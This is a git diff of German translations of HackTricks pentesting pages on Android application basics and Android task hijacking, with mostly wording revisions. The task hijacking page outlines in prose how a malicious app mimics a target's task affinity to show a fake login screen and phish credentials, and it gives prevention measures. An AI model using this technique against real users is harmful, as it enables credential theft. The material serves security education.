-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 31a760dc3..27c0e75ac 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -15,14 +15,6 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Android-Sicherheitsmodell **Es gibt zwei Ebenen:** @@ -32,27 +24,27 @@ Lernen & üben Sie GCP Hacking: @@ -115,7 +107,7 @@ Sobald ein Gerät gerootet ist, könnte jede App Zugriff als Root anfordern. Wen ### **Dalvik & Smali** -In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie in Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen. +In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie bei Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen. Für die Rückentwicklung wird **Smali** entscheidend. Es ist die menschenlesbare Version von DEX-Bytecode und fungiert wie eine Assemblersprache, indem es Quellcode in Bytecode-Anweisungen übersetzt. Smali und baksmali beziehen sich in diesem Kontext auf die Assemblierungs- und Disassemblierungswerkzeuge. @@ -123,10 +115,10 @@ Für die Rückentwicklung wird **Smali** entscheidend. Es ist die menschenlesbar Intents sind das primäre Mittel, durch das Android-Apps zwischen ihren Komponenten oder mit anderen Apps kommunizieren. Diese Nachrichtenobjekte können auch Daten zwischen Apps oder Komponenten übertragen, ähnlich wie GET/POST-Anfragen in HTTP-Kommunikationen verwendet werden. -Ein Intent ist also im Grunde eine **Nachricht, die zwischen Komponenten übergeben wird**. Intents **können an** bestimmte Komponenten oder Apps **gerichtet** werden oder **ohne einen bestimmten Empfänger gesendet werden**.\ +Ein Intent ist also im Grunde eine **Nachricht, die zwischen Komponenten übergeben wird**. Intents **können an** bestimmte Komponenten oder Apps gerichtet werden, **oder ohne einen bestimmten Empfänger gesendet werden**.\ Einfach gesagt, kann ein Intent verwendet werden: -* Um eine Aktivität zu starten, die typischerweise eine Benutzeroberfläche für eine App öffnet +* Um eine Aktivität zu starten, typischerweise um eine Benutzeroberfläche für eine App zu öffnen * Als Broadcasts, um das System und Apps über Änderungen zu informieren * Um einen Hintergrunddienst zu starten, zu stoppen und mit ihm zu kommunizieren * Um auf Daten über ContentProviders zuzugreifen @@ -140,9 +132,9 @@ Wenn sie anfällig sind, **können Intents verwendet werden, um eine Vielzahl vo Intent-Filter bestehen aus Kategorien, Aktionen und Datenfiltern, mit der Möglichkeit, zusätzliche Metadaten einzuschließen. Diese Konfiguration ermöglicht es Komponenten, spezifische Intents zu verarbeiten, die den deklarierten Kriterien entsprechen. -Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird. +Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich angesehen und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird. -Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so festgelegt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber hinzufügt, wer mit ihr interagieren kann. +Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so eingestellt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber hinzufügt, wer mit ihr interagieren kann. ```java @@ -154,7 +146,7 @@ Intents werden programmgesteuert mit einem Intent-Konstruktor erstellt: ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` -Die **Aktion** des zuvor deklarierten Intents ist **ACTION\_SEND** und das **Extra** ist ein mailto **Uri** (das Extra ist die zusätzliche Information, die der Intent erwartet). +Die **Action** des zuvor deklarierten Intents ist **ACTION\_SEND** und das **Extra** ist ein mailto **Uri** (das Extra ist die zusätzliche Information, die der Intent erwartet). Dieser Intent sollte im Manifest wie im folgenden Beispiel deklariert werden: ```xml @@ -167,7 +159,7 @@ Dieser Intent sollte im Manifest wie im folgenden Beispiel deklariert werden: ``` Ein intent-filter muss die **Aktion**, **Daten** und **Kategorie** übereinstimmen, um eine Nachricht zu empfangen. -Der Prozess der "Intent-Auflösung" bestimmt, welche App jede Nachricht empfangen soll. Dieser Prozess berücksichtigt das **Prioritätsattribut**, das in der **intent-filter-Deklaration** festgelegt werden kann, und **die mit der höheren Priorität wird ausgewählt**. Diese Priorität kann zwischen -1000 und 1000 festgelegt werden, und Anwendungen können den Wert `SYSTEM_HIGH_PRIORITY` verwenden. Wenn ein **Konflikt** auftritt, erscheint ein "Chooser"-Fenster, damit der **Benutzer entscheiden kann**. +Der Prozess der "Intent-Auflösung" bestimmt, welche App jede Nachricht empfangen soll. Dieser Prozess berücksichtigt das **Prioritätsattribut**, das in der **intent-filter-Deklaration** festgelegt werden kann, und **diejenige mit der höheren Priorität wird ausgewählt**. Diese Priorität kann zwischen -1000 und 1000 festgelegt werden, und Anwendungen können den Wert `SYSTEM_HIGH_PRIORITY` verwenden. Wenn ein **Konflikt** auftritt, erscheint ein "Chooser"-Fenster, damit der **Benutzer entscheiden kann**. ### Explizite Intents @@ -183,7 +175,7 @@ context.startService(intent); ``` ### Pending Intents -Diese ermöglichen es anderen Anwendungen, **Aktionen im Namen Ihrer Anwendung auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Beim Erstellen eines Pending Intent sollte **ein Intent und die auszuführende Aktion angegeben werden**. Wenn der **deklarierte Intent nicht explizit ist** (nicht angibt, welcher Intent ihn aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion** im Namen der Opfer-App ausführen. Darüber hinaus, **wenn keine Aktion angegeben ist**, kann die bösartige App **jede Aktion im Namen des Opfers** durchführen. +Diese ermöglichen es anderen Anwendungen, **Aktionen im Namen Ihrer Anwendung auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Beim Erstellen eines Pending Intent sollte **ein Intent und die auszuführende Aktion angegeben werden**. Wenn der **deklarierte Intent nicht explizit** ist (nicht angibt, welcher Intent ihn aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion** im Namen der Opfer-App ausführen. Darüber hinaus, **wenn keine Aktion angegeben ist**, kann die bösartige App **jede Aktion im Namen des Opfers** durchführen. ### Broadcast Intents @@ -194,12 +186,12 @@ Alternativ ist es auch möglich, **eine Berechtigung beim Senden des Broadcasts Es gibt **zwei Arten** von Broadcasts: **Normal** (asynchron) und **Ordered** (synchron). Die **Reihenfolge** basiert auf der **konfigurierten Priorität innerhalb des Empfängerelements**. **Jede App kann den Broadcast verarbeiten, weiterleiten oder verwerfen.** Es ist möglich, einen **Broadcast** mit der Funktion `sendBroadcast(intent, receiverPermission)` aus der `Context`-Klasse zu **senden**.\ -Sie könnten auch die Funktion **`sendBroadcast`** aus dem **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren. +Sie könnten auch die Funktion **`sendBroadcast`** von **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren. ### Sticky Broadcasts Diese Art von Broadcasts **kann lange nach dem Senden abgerufen werden**.\ -Diese wurden in API-Stufe 21 als veraltet markiert und es wird empfohlen, **sie nicht zu verwenden**.\ +Diese wurden in API-Stufe 21 als veraltet erklärt und es wird empfohlen, **sie nicht zu verwenden**.\ **Sie ermöglichen es jeder Anwendung, die Daten abzuhören, aber auch sie zu ändern.** Wenn Sie Funktionen finden, die das Wort "sticky" enthalten, wie **`sendStickyBroadcast`** oder **`sendStickyBroadcastAsUser`**, **prüfen Sie die Auswirkungen und versuchen Sie, sie zu entfernen**. @@ -239,13 +231,13 @@ Erfahren Sie, wie Sie [Deep Links ohne Verwendung von HTML-Seiten aufrufen](./#e ## AIDL - Android Interface Definition Language -Die **Android Interface Definition Language (AIDL)** ist darauf ausgelegt, die Kommunikation zwischen Client und Dienst in Android-Anwendungen durch **interprozessuale Kommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht gestattet ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird. +Die **Android Interface Definition Language (AIDL)** wurde entwickelt, um die Kommunikation zwischen Client und Dienst in Android-Anwendungen durch **interprozessuale Kommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht erlaubt ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird. ### Schlüsselkonzepte -- **Gebundene Dienste**: Diese Dienste nutzen AIDL für IPC, wodurch Aktivitäten oder Komponenten an einen Dienst binden, Anfragen stellen und Antworten erhalten können. Die Methode `onBind` in der Dienstklasse ist entscheidend für den Beginn der Interaktion und stellt einen wichtigen Bereich für die Sicherheitsüberprüfung auf der Suche nach Schwachstellen dar. +- **Gebundene Dienste**: Diese Dienste nutzen AIDL für IPC, wodurch Aktivitäten oder Komponenten an einen Dienst binden, Anfragen stellen und Antworten erhalten können. Die Methode `onBind` in der Dienstklasse ist entscheidend für den Beginn der Interaktion und stellt einen wichtigen Bereich für die Sicherheitsüberprüfung auf Schwachstellen dar. -- **Messenger**: Als gebundener Dienst ermöglicht der Messenger IPC mit dem Fokus auf die Verarbeitung von Daten über die Methode `onBind`. Es ist wichtig, diese Methode genau auf unsichere Datenverarbeitung oder die Ausführung sensibler Funktionen zu überprüfen. +- **Messenger**: Als gebundener Dienst ermöglicht der Messenger IPC mit einem Fokus auf die Verarbeitung von Daten durch die Methode `onBind`. Es ist wichtig, diese Methode genau auf unsichere Datenverarbeitung oder die Ausführung sensibler Funktionen zu überprüfen. - **Binder**: Obwohl die direkte Verwendung der Binder-Klasse aufgrund der Abstraktion durch AIDL weniger verbreitet ist, ist es vorteilhaft zu verstehen, dass der Binder als Kernel-Treiber fungiert, der den Datentransfer zwischen den Speicherbereichen verschiedener Prozesse erleichtert. Für ein besseres Verständnis steht eine Ressource zur Verfügung unter [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). @@ -276,9 +268,9 @@ Jedoch ist der Zugriff auf eine Aktivität von einer anderen App nicht immer ein Der Lebenszyklus einer Aktivität **beginnt mit der onCreate-Methode**, die die Benutzeroberfläche einrichtet und die Aktivität auf die Interaktion mit dem Benutzer vorbereitet. -### Anwendung Unterklasse +### Anwendungssubklasse -In der Android-Entwicklung hat eine App die Möglichkeit, eine **Unterklasse** der [Application](https://developer.android.com/reference/android/app/Application) Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Unterklasse definiert ist, wird sie die erste Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`** Methode, wenn sie in dieser Unterklasse implementiert ist, wird vor der **`onCreate`** Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet. +In der Android-Entwicklung hat eine App die Möglichkeit, eine **Subklasse** der [Application](https://developer.android.com/reference/android/app/Application)-Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Subklasse definiert ist, wird sie die erste Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`**-Methode, wenn sie in dieser Subklasse implementiert ist, wird vor der **`onCreate`**-Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet. ```java public class MyApp extends Application { @Override @@ -310,15 +302,15 @@ Eine interessante Anwendung von Diensten umfasst die Wiedergabe von Hintergrundm **Intent-Filter** sind entscheidend in beiden Registrierungsarten, da sie bestimmen, welche Broadcasts den Empfänger auslösen. Sobald ein passender Broadcast gesendet wird, wird die Methode **`onReceive`** des Empfängers aufgerufen, was der App ermöglicht, entsprechend zu reagieren, z. B. das Verhalten als Reaktion auf eine Warnung bei niedrigem Batteriestand anzupassen. -Broadcasts können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, wobei Empfänger den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das potenzielle Sicherheitsrisiko zu beachten, da jede App sich priorisieren kann, um einen Broadcast abzufangen. +Broadcasts können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, wobei Empfänger den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das potenzielle Sicherheitsrisiko zu beachten, da jede App sich selbst priorisieren kann, um einen Broadcast abzufangen. Um die Funktionalität eines Empfängers zu verstehen, suchen Sie nach der Methode **`onReceive`** innerhalb seiner Klasse. Der Code dieser Methode kann das empfangene Intent manipulieren, was die Notwendigkeit der Datenvalidierung durch Empfänger hervorhebt, insbesondere bei **geordneten Broadcasts**, die das Intent modifizieren oder verwerfen können. ### Content Provider -**Content Providers** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen, wie **`readPermission`** und **`writePermission`**, sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden. +**Content Providers** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen wie **`readPermission`** und **`writePermission`** sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden. -Die Eingangsvalidierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Providers unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und den Austausch zwischen Anwendungen erleichtern. +Die Eingangsvalidierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Providers unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und das Teilen zwischen Anwendungen erleichtern. **FileProvider**, ein spezialisierter Content Provider, konzentriert sich auf das sichere Teilen von Dateien. Er wird im Manifest der App mit spezifischen Attributen definiert, um den Zugriff auf Ordner zu steuern, die durch `android:exported` und `android:resource` auf Ordnerkonfigurationen verweisen. Vorsicht ist geboten, wenn Verzeichnisse geteilt werden, um zu vermeiden, dass sensible Daten unbeabsichtigt offengelegt werden. @@ -355,18 +347,18 @@ Ein wichtiger Punkt ist, dass WebView-Browser **keine Cookies** mit dem Hauptbro Zum Laden von Inhalten stehen Methoden wie ````loadUrl````, ````loadData````, und ````loadDataWithBaseURL```` zur Verfügung. Es ist entscheidend sicherzustellen, dass diese URLs oder Dateien **sicher zu verwenden** sind. Sicherheitseinstellungen können über die ````WebSettings````-Klasse verwaltet werden. Beispielsweise kann das Deaktivieren von JavaScript mit ````setJavaScriptEnabled(false)```` XSS-Angriffe verhindern. -Die JavaScript "Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagieren, wobei Methoden ab Android 4.2 mit ````@JavascriptInterface```` für die Sicherheit markiert werden müssen. +Die JavaScript "Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagieren, wobei Methoden ab Android 4.2 mit ````@JavascriptInterface```` für die Sicherheit gekennzeichnet werden müssen. Das Zulassen des Zugriffs auf Inhalte (````setAllowContentAccess(true)````) ermöglicht es WebViews, auf Content Providers zuzugreifen, was ein Risiko darstellen könnte, es sei denn, die Inhalts-URLs werden als sicher verifiziert. -Um den Datei-Zugriff zu steuern: -- Das Deaktivieren des Datei-Zugriffs (````setAllowFileAccess(false)````) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht-sensitive Inhalte verwendet werden. +Um den Dateizugriff zu steuern: +- Das Deaktivieren des Dateizugriffs (````setAllowFileAccess(false)````) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht sensible Inhalte verwendet werden. ## Andere App-Komponenten und Mobile Device Management ### **Digitale Signatur von Anwendungen** -- **Digitale Signaturen** sind ein Muss für Android-Apps, um sicherzustellen, dass sie **authentisch erstellt** sind, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation verifiziert werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt. +- **Digitale Signaturen** sind ein Muss für Android-Apps, um sicherzustellen, dass sie **authentisch erstellt** wurden, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation verifiziert werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt. ### **App-Verifizierung für erhöhte Sicherheit** @@ -374,7 +366,7 @@ Um den Datei-Zugriff zu steuern: ### **Mobile Device Management (MDM)** -- **MDM-Lösungen** bieten **Überwachung und Sicherheit** für mobile Geräte durch die **Device Administration API**. Sie erfordern die Installation einer Android-App, um mobile Geräte effektiv zu verwalten und zu sichern. Zu den Hauptfunktionen gehören **Durchsetzung von Passwort-Richtlinien**, **Vorgabe von Speicher-Verschlüsselung** und **Erlauben von Remote-Datenlöschungen**, um umfassende Kontrolle und Sicherheit über mobile Geräte zu gewährleisten. +- **MDM-Lösungen** bieten **Überwachung und Sicherheit** für mobile Geräte durch die **Device Administration API**. Sie erfordern die Installation einer Android-App, um mobile Geräte effektiv zu verwalten und zu sichern. Zu den Hauptfunktionen gehören **Durchsetzung von Passwort-Richtlinien**, **Vorgabe von Speicher-Verschlüsselung** und **Erlauben von Remote-Datenlöschung**, um umfassende Kontrolle und Sicherheit über mobile Geräte zu gewährleisten. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); @@ -385,19 +377,13 @@ if (dpm.isAdminActive(adminComponent)) { dpm.setPasswordMinimumLength(adminComponent, 8); } ``` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Unterstütze HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index 7aa752f35..5065426a3 100644 --- a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -1,87 +1,74 @@ # Android Task Hijacking {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -**Try Hard Security Group** +## Task, Back Stack und Foreground Activities -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## Aufgabe, Back Stack und Vordergrundaktivitäten - -In Android ist eine **Aufgabe** im Wesentlichen eine Reihe von Aktivitäten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe abzuschließen, organisiert innerhalb eines **Back Stacks**. Dieser Stack ordnet Aktivitäten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste Aktivität oben als **Vordergrundaktivität** angezeigt wird. Zu jedem Zeitpunkt ist nur diese Aktivität auf dem Bildschirm sichtbar, was sie Teil der **Vordergrundaufgabe** macht. +In Android ist eine **Task** im Wesentlichen eine Gruppe von Aktivitäten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe abzuschließen, organisiert innerhalb eines **Back Stacks**. Dieser Stack ordnet Aktivitäten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste Aktivität oben als **Foreground Activity** angezeigt wird. Zu jedem Zeitpunkt ist nur diese Aktivität auf dem Bildschirm sichtbar, was sie Teil der **Foreground Task** macht. Hier ist eine kurze Übersicht über Aktivitätsübergänge: * **Aktivität 1** beginnt als einzige Aktivität im Vordergrund. * Das Starten von **Aktivität 2** schiebt **Aktivität 1** in den Back Stack und bringt **Aktivität 2** in den Vordergrund. * Das Starten von **Aktivität 3** verschiebt **Aktivität 1** und **Aktivität 2** weiter nach hinten im Stack, wobei **Aktivität 3** jetzt vorne ist. -* Das Schließen von **Aktivität 3** bringt **Aktivität 2** zurück in den Vordergrund und zeigt das optimierte Navigationsmechanismus von Android. +* Das Schließen von **Aktivität 3** bringt **Aktivität 2** zurück in den Vordergrund und zeigt das optimierte Task-Navigationssystem von Android. ![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>) -## Task Affinity Angriff +## Task-Affinitätsangriff -### Übersicht über Task Affinity und Startmodi +### Übersicht über Task-Affinität und Startmodi -In Android-Anwendungen gibt **Task Affinity** an, welche Aufgabe eine Aktivität bevorzugt, typischerweise in Übereinstimmung mit dem Paketnamen der App. Diese Einrichtung ist entscheidend für die Erstellung einer Proof-of-Concept (PoC) App zur Demonstration des Angriffs. +In Android-Anwendungen gibt die **Task-Affinität** die bevorzugte Task einer Aktivität an, die typischerweise mit dem Paketnamen der App übereinstimmt. Diese Einrichtung ist entscheidend für die Erstellung einer Proof-of-Concept (PoC) App zur Demonstration des Angriffs. ### Startmodi -Das Attribut `launchMode` steuert die Handhabung von Aktivitätsinstanzen innerhalb von Aufgaben. Der **singleTask** Modus ist entscheidend für diesen Angriff und diktiert drei Szenarien basierend auf den vorhandenen Aktivitätsinstanzen und Übereinstimmungen der Task Affinity. Der Exploit beruht auf der Fähigkeit der App des Angreifers, die Task Affinity der Ziel-App zu imitieren, wodurch das Android-System in die Irre geführt wird, die App des Angreifers anstelle der beabsichtigten Ziel-App zu starten. +Das Attribut `launchMode` steuert die Handhabung von Aktivitätsinstanzen innerhalb von Tasks. Der **singleTask**-Modus ist für diesen Angriff entscheidend, da er drei Szenarien basierend auf den vorhandenen Aktivitätsinstanzen und Übereinstimmungen der Task-Affinität diktiert. Der Exploit beruht auf der Fähigkeit der App des Angreifers, die Task-Affinität der Ziel-App nachzuahmen, wodurch das Android-System in die Irre geführt wird, die App des Angreifers anstelle der beabsichtigten Ziel-App zu starten. ### Detaillierte Angriffs Schritte 1. **Installation der bösartigen App**: Das Opfer installiert die App des Angreifers auf seinem Gerät. 2. **Erste Aktivierung**: Das Opfer öffnet zuerst die bösartige App und bereitet das Gerät für den Angriff vor. 3. **Versuch, die Ziel-App zu starten**: Das Opfer versucht, die Ziel-App zu öffnen. -4. **Ausführung der Hijack**: Aufgrund der übereinstimmenden Task Affinity wird die bösartige App anstelle der Ziel-App gestartet. +4. **Ausführung der Hijack**: Aufgrund der übereinstimmenden Task-Affinität wird die bösartige App anstelle der Ziel-App gestartet. 5. **Täuschung**: Die bösartige App zeigt einen gefälschten Anmeldebildschirm, der der Ziel-App ähnelt, und täuscht den Benutzer, sensible Informationen einzugeben. -Für eine praktische Umsetzung dieses Angriffs verweisen Sie auf das Task Hijacking Strandhogg Repository auf GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). +Für eine praktische Umsetzung dieses Angriffs siehe das Task Hijacking Strandhogg-Repository auf GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). ### Präventionsmaßnahmen -Um solche Angriffe zu verhindern, können Entwickler `taskAffinity` auf einen leeren String setzen und den `singleInstance` Startmodus wählen, um die Isolation ihrer App von anderen zu gewährleisten. Die Anpassung der Funktion `onBackPressed()` bietet zusätzlichen Schutz gegen Task Hijacking. +Um solche Angriffe zu verhindern, können Entwickler `taskAffinity` auf einen leeren String setzen und den `singleInstance`-Startmodus wählen, um die Isolation ihrer App von anderen zu gewährleisten. Die Anpassung der Funktion `onBackPressed()` bietet zusätzlichen Schutz gegen Task-Hijacking. ## **Referenzen** * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * 